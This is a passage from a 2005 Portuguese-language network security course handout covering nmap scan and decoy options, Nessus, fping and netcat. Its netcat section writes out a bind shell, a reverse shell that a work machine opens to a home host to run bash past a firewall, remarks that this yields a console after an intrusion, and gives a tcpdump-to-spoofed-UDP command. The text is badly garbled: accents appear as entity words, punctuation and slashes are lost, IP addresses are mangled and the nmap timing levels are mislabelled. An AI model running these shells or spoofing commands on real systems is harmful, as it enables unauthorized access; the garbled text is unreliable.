Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que 